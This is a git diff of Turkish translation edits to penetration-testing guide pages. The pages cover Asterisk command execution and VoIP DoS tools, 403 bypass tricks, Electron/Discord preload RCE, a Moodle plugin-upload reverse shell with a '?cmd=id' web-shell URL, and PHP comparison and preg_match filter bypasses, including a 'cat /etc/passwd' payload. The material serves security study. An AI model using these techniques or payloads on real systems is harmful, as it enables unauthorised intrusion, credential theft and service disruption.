kullanarak RCE elde etmek mümkündür. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` **`Shell`** adında, gerektiğinde sistem komutlarını çalıştırmak için **`System`** yerine kullanılabilecek bir komut vardır. > [!WARNING] -> Eğer sunucu **`System`** komutunda (Elastix'te olduğu gibi) belirli karakterlerin kullanılmasını **yasaklıyorsa**, web sunucusunun **sistemin içinde dosya oluşturmasına** izin verip vermediğini kontrol edin (Elastix veya trixbox'ta olduğu gibi) ve bunu **bir arka kapı betiği oluşturmak için** kullanın, ardından **`System`** ile bu **betiği** **çalıştırın**. +> Eğer sunucu **`System`** komutunda (Elastix gibi) belirli karakterlerin kullanılmasını **engelliyorsa**, web sunucusunun **sistemin içinde dosya oluşturmasına** izin verip vermediğini kontrol edin (Elastix veya trixbox gibi) ve bunu **bir arka kapı betiği oluşturmak için** kullanın, ardından **`System`** ile bu **betiği çalıştırın**. #### İlginç yerel dosyalar ve izinler - **`sip.conf`** -> SIP kullanıcılarının şifresini içerir. - Eğer **Asterisk sunucusu root olarak çalışıyorsa**, root'u tehlikeye atabilirsiniz. -- **mysql root kullanıcısının** **herhangi bir şifresi olmayabilir**. +- **mysql root kullanıcısı** muhtemelen **herhangi bir şifreye sahip değildir**. - bu, bir arka kapı olarak yeni bir mysql kullanıcısı oluşturmak için kullanılabilir. - **`FreePBX`** - **`amportal.conf`** -> Web paneli yöneticisinin (FreePBX) şifresini içerir. @@ -573,15 +573,15 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) ve **`rtpmixsound`** (`sudo apt install rtpmixsound`) gibi araçlar kullanarak konuşmalara **`.wav`** dosyası eklemek mümkündür. -Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresinden **konuşmaları taramak** için **`rtpscan.pl`**, bir konuşmaya **`.wav`** göndermek için **`rtpsend.pl`** ve bir konuşmaya **gürültü eklemek** için **`rtpflood.pl`** betiklerini kullanabilirsiniz. +Ya da [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) adresindeki betikleri kullanarak **konuşmaları tarayabilir** (**`rtpscan.pl`**), bir konuşmaya **`.wav`** gönderebilir (**`rtpsend.pl`**) ve bir konuşmaya **gürültü ekleyebilirsiniz** (**`rtpflood.pl`**). ### DoS VoIP sunucularında DoS elde etmenin birkaç yolu vardır. -- **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood, hedefe sınırsız mesaj gönderir. +- **`SIPPTS flood`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS flood, hedefe sınırsız mesaj gönderir. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping, sunucu yanıt süresini görmek için bir SIP ping yapar. +- **`SIPPTS ping`** [**sippts**](https://github.com/Pepelux/sippts)**'den: SIPPTS ping, sunucunun yanıt süresini görmek için bir SIP ping yapar. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk tarafından kullanılan DoS IAX protokolü. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP üzerinden SIP/SDP INVITE mesajı seli gerçekleştiren bir araç. @@ -592,7 +592,7 @@ VoIP sunucularında DoS elde etmenin birkaç yolu vardır. ### OS Güvenlik Açıkları -Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Bu dağıtımların sorunu, çalışmaya başladıktan sonra sistem yöneticilerinin **bir daha güncellemeyebileceği** ve **güvenlik açıklarının** zamanla keşfedileceğidir. +Asterisk gibi bir yazılımı kurmanın en kolay yolu, zaten kurulu olan bir **OS dağıtımını** indirmektir, örneğin: **FreePBX, Elastix, Trixbox**... Sorun şu ki, bir kez çalışmaya başladıktan sonra sistem yöneticileri **bir daha güncellemeyebilir** ve **güvenlik açıkları** zamanla keşfedilecektir. ## Referanslar diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index d8063456b..f14089361 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -6,14 +6,14 @@ Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız. +- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekiyor. - `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir. -- **`TRACE`** fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir. +- **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir. ## HTTP Başlıkları Fuzzing - **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) -- Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin. +- Kaynağa erişmek için [**diğer Kullanıcı Araçlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin. - **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum. - `X-Originating-IP: 127.0.0.1` @@ -35,7 +35,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)**'nı kötüye kullanmayı deneyin.** +- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)** kötüye kullanmayı deneyin.** - Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın. - **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın. - **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz. @@ -44,7 +44,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a Eğer _/path_ engellenmişse: -- _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin. +- `/%2e/path` kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca `/%252e**/path` (çift URL kodlaması) deneyin. - **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız. - **Diğer yol bypass'ları**: - site.com/secret –> HTTP 403 Yasak @@ -87,13 +87,13 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip ## **Diğer Bypass'lar** - Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı** deneyin. -- **Sunucuya baskı yapmayı** deneyin, yaygın GET istekleri gönderin ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). -- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye geçin. +- **Sunucuyu zorlayın** yaygın GET istekleri göndererek ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye. - [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin. ## **Brute Force** -- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz? +- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı? - [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin. ```:Common creds admin admin diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 5de0f878e..80eee92b7 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -20,7 +20,7 @@ return 1337 } ``` -`SAFE_PROTOCOLS.indexOf` çağrısı her zaman 1337 döndüreceğinden, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar: +`SAFE_PROTOCOLS.indexOf` çağrısı her zaman 1337 döndüreceği için, saldırgan korumayı atlayabilir ve calc'i çalıştırabilir. Son istismar: ```html CLICK ``` -Orijinal slaytlara, izin istemeden programları çalıştırmanın diğer yollarını kontrol edin. +Orijinal slaytlara, izinler için bir istem istemeden programları çalıştırmanın diğer yollarını kontrol edin. Görünüşe göre kod yüklemek ve çalıştırmak için `file://127.0.0.1/electron/rce.jar` gibi bir şeye erişmek başka bir yol. @@ -40,7 +40,7 @@ Görünüşe göre kod yüklemek ve çalıştırmak için `file://127.0.0.1/elec Ön yükleme betiklerini kontrol ederken, Discord'un bazı izin verilen modüllerin `DiscordNative.nativeModules.requireModule('MODULE-NAME')` aracılığıyla çağrılmasına izin veren bir işlevi web sayfasına açtığını buldum.\ Burada, RCE için doğrudan kullanılabilecek _child_process_ modülü gibi modülleri kullanamadım, ancak **JavaScript yerleşik yöntemlerini geçersiz kılarak** ve açığa çıkarılan modülün yürütülmesine müdahale ederek RCE'nin elde edilebileceği bir kod buldum. -Aşağıda PoC bulunmaktadır. **calc** uygulamasının, **`RegExp.prototype.test` ve `Array.prototype.join`** yöntemlerini geçersiz kılarken, devTools'tan "_discord_utils_" adlı modülde tanımlı **`getGPUDriverVersions` fonksiyonunu** çağırdığımda **açıldığını** doğruladım. +Aşağıda PoC bulunmaktadır. **calc** uygulamasının **`getGPUDriverVersions` işlevini** çağırdığımda **açıldığını** doğrulayabildim; bu işlev, devTools'tan "_discord_utils_" adlı modülde tanımlıdır ve **`RegExp.prototype.test` ve `Array.prototype.join`** yöntemlerini geçersiz kıldım. ```javascript RegExp.prototype.test = function () { return false @@ -71,6 +71,12 @@ result.nvidia = { error: e.toString() } return result } ``` -Genellikle _execa_, `nvidiaSmiPath` değişkeninde belirtilen "_nvidia-smi.exe_" dosyasını çalıştırmaya çalışır, ancak `RegExp.prototype.test` ve `Array.prototype.join`'ın geçersiz kılınması nedeniyle, **argüman _execa**\_**'nın iç işleyişinde "**_**calc**_**" ile değiştirilir**. +Genellikle _execa_, `nvidiaSmiPath` değişkeninde belirtilen "_nvidia-smi.exe_" dosyasını çalıştırmaya çalışır, ancak `RegExp.prototype.test` ve `Array.prototype.join`'ın geçersiz kılınması nedeniyle, **argüman _execa**'nın **iç işleyişinde "**_**calc**_**" ile değiştirilir**. Özellikle, argüman aşağıdaki iki bölüm değiştirilerek değiştirilir. + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) + +[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/imagemagick-security.md b/src/network-services-pentesting/pentesting-web/imagemagick-security.md index f9f4fb88d..426f5c041 100644 --- a/src/network-services-pentesting/pentesting-web/imagemagick-security.md +++ b/src/network-services-pentesting/pentesting-web/imagemagick-security.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -Daha fazla ayrıntıyı [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) adresinde kontrol edin. +Daha fazla detay için [**https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) -ImageMagick, çok yönlü bir görüntü işleme kütüphanesi olarak, geniş seçenekleri ve ayrıntılı çevrimiçi belgelerin eksikliği nedeniyle güvenlik politikasını yapılandırmada zorluklar sunmaktadır. Kullanıcılar genellikle parçalı internet kaynaklarına dayanarak politikalar oluşturur, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, her biri karmaşıklığına ve güvenlik açığı profilini etkileyen 100'den fazla görüntü formatını desteklemektedir; bu durum tarihsel güvenlik olaylarıyla gösterilmiştir. +ImageMagick, çok yönlü bir görüntü işleme kütüphanesi, geniş seçenekleri ve ayrıntılı çevrimiçi belgelerin eksikliği nedeniyle güvenlik politikasını yapılandırmada zorluklar sunmaktadır. Kullanıcılar genellikle parçalı internet kaynaklarına dayanarak politikalar oluşturur, bu da potansiyel yanlış yapılandırmalara yol açar. Kütüphane, her biri karmaşıklığına ve güvenlik açığı profilini etkileyen 100'den fazla görüntü formatını desteklemektedir; bu durum tarihsel güvenlik olaylarıyla gösterilmiştir. ## Daha Güvenli Politikalar İçin -Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarını tasarlamaya ve denetlemeye yardımcı olmak amacıyla bir [araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların yalnızca sağlam değil, aynı zamanda istismar edilebilecek boşluklardan da arındırılmış olmasını sağlamayı hedeflemektedir. +Bu zorlukları ele almak için, ImageMagick'in güvenlik politikalarını tasarlamaya ve denetlemeye yardımcı olmak amacıyla [bir araç geliştirilmiştir](https://imagemagick-secevaluator.doyensec.com/). Bu araç, kapsamlı araştırmalara dayanmaktadır ve politikaların yalnızca sağlam değil, aynı zamanda istismar edilebilecek boşluklardan da arındırılmış olmasını sağlamayı hedeflemektedir. ## İzin Listesi vs. Yasak Listesi Yaklaşımı -Tarihsel olarak, ImageMagick politikaları yasak listesi yaklaşımına dayanıyordu; burada belirli kodlayıcılara erişim engelleniyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve izin listesi yaklaşımını mümkün kıldı. Bu yaklaşım, önce tüm kodlayıcıları reddeder ve ardından güvenilir olanlara seçici olarak erişim izni vererek güvenlik duruşunu artırır. +Tarihsel olarak, ImageMagick politikaları, belirli kodlayıcıların erişiminin reddedildiği bir yasak listesi yaklaşımına dayanıyordu. Ancak, ImageMagick 6.9.7-7'deki değişiklikler bu paradigmayı değiştirdi ve bir izin listesi yaklaşımını mümkün kıldı. Bu yaklaşım, önce tüm kodlayıcıların erişimini reddeder ve ardından güvenilir olanlara seçici olarak erişim izni vererek güvenlik duruşunu güçlendirir. ```xml ... @@ -25,7 +25,7 @@ ImageMagick'teki politika desenlerinin büyük/küçük harf duyarlı olduğunu ## Kaynak Sınırlamaları -ImageMagick, düzgün yapılandırılmadığında hizmet reddi saldırılarına karşı hassastır. Politika içinde açık kaynak sınırlamaları belirlemek, bu tür zayıflıkları önlemek için gereklidir. +ImageMagick, düzgün yapılandırılmadığı takdirde hizmet reddi saldırılarına karşı hassastır. Bu tür zafiyetleri önlemek için politikada açık kaynak sınırlamaları belirlemek gereklidir. ## Politika Parçalanması @@ -41,6 +41,6 @@ Bir güvenlik politikasının etkinliği, ImageMagick'te `identify -list policy` ## Referanslar -- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) +- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 53fa957ea..ff8e423a0 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -62,25 +62,25 @@ cmsmap http://moodle.example.com/ ``` ### CVEs -Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları **kontrol** edebilirsiniz [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) +Moodle sürümünü etkileyen güvenlik açıklarını bulmak için otomatik araçların oldukça **işe yaramaz** olduğunu gördüm. Bunları [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle) adresinde **kontrol** edebilirsiniz. ## **RCE** -**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **plugin'ler yükleyebilirsiniz**\*\*:\*\* +**Yönetici** rolüne sahip olmanız gerekiyor ve **"Site yönetimi"** sekmesinde **eklentiler yükleyebilirsiniz**: ![](<../../images/image (630).png>) -Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'sinde nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). +Eğer yöneticiyseniz, bu **seçeneği etkinleştirmeniz** gerekebilir. Moodle ayrıcalık yükseltme PoC'de nasıl olduğunu görebilirsiniz: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). -Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki plugin'i yükleyebilirsiniz** (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_) +Sonra, klasik pentest-monkey php r**ev shell** içeren **aşağıdaki eklentiyi** yükleyebilirsiniz (_yüklemeden önce sıkıştırmayı açmanız, revshell'in IP ve portunu değiştirmeniz ve tekrar sıkıştırmanız gerekiyor_) {{#file}} moodle-rce-plugin.zip {{#endfile}} -Ya da "cmd" parametresi ile normal bir PHP shell almak için [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresindeki plugin'i kullanabilirsiniz. +Ya da [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) adresinden eklentiyi kullanarak "cmd" parametresi ile normal bir PHP shell alabilirsiniz. -Kötü niyetli plugin'i başlatmak için erişmeniz gereken yer: +Kötü niyetli eklentiyi başlatmak için erişmeniz gereken yer: ```bash http://domain.com//blocks/rce/lang/en/block_rce.php?cmd=id ``` diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 78ef2b66b..3dbbeea21 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -33,11 +33,11 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf {{#endfile}} - `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir -- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizelerle True sonucu ile karşılaştırılabilir (bir dizedeki sayılar sayı olarak yorumlanır) -- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır -- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşit olacaktır -- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -- `"X" == 0 --> True` Bir dizedeki herhangi bir harf, int 0'a eşittir +- `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizideki sayılar sayılar olarak yorumlanır) +- `"0e3264578" == 0 --> True` "0e" ile başlayıp herhangi bir şeyle devam eden bir dize, 0'a eşittir +- `"0X3264578" == 0X --> True` "0" ile başlayıp herhangi bir harfle (X herhangi bir harf olabilir) ve ardından herhangi bir şeyle devam eden bir dize, 0'a eşittir +- `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdi kontrolünü yapabilir ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlayabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** (şifre kontrolü gibi) için kullanılıyorsa ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dizi yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir: +Eğer bu fonksiyon **herhangi bir kimlik doğrulama kontrolü** için kullanılıyorsa (örneğin şifre kontrolü) ve kullanıcı karşılaştırmanın bir tarafını kontrol ediyorsa, şifre değeri olarak bir dize yerine boş bir dizi gönderebilir (`https://example.com/login.php/?username=admin&password[]=`) ve bu kontrolü atlayabilir: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -64,17 +64,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### Katı Tür Dönüşümü -`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**: +`===` **kullanılıyor olsa bile**, **karşılaştırmayı** **tip dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir nesne türüne dönüştürüyorsa**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`** kullanıcı girişi **doğrulamak** için kullanılabilir (bu, **kullanıcı girişi** üzerinde herhangi bir **kelime/regex**'in **kara liste**'de olup olmadığını **kontrol eder** ve eğer yoksa, kod çalışmaya devam edebilir). +**`preg_match()`** kullanıcı girişini **doğrulamak** için kullanılabilir (bu, **kullanıcı girişinde** herhangi bir **kelime/regex**'in **kara liste**'de olup olmadığını **kontrol eder** ve eğer yoksa, kodun çalışmasına devam etmesine izin verir). #### Yeni satır atlatma -Ancak, regexp'in başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: +Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **yalnızca kullanıcı girişinin ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesi** (`%0A`) veya **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeniz gerekebilir: +Bu kontrolü atlamak için **değerin yeni satırlarla urlencoded olarak gönderilmesini** (`%0A`) ya da **JSON verisi** gönderebiliyorsanız, **birkaç satırda** göndermeyi deneyebilirsiniz: ```php { "cmd": "cat /etc/passwd" @@ -98,7 +98,7 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram #### **Uzunluk hatası atlatma** (Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\ -Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: +Eğer `preg_match()` fonksiyonuna geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, eğer bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -112,15 +112,15 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığın içinde sığacak olandan fazladır. -[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\ -**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesine neden olacak ve böylece uygulama girdimizin kötü niyetli olmadığını düşünecek, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde edeceğiz.** +[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi netti:\ +**Regex'in 100_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system()}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**. -Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1_000_000 (1M) olarak ayarlanmıştır.\ +Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, 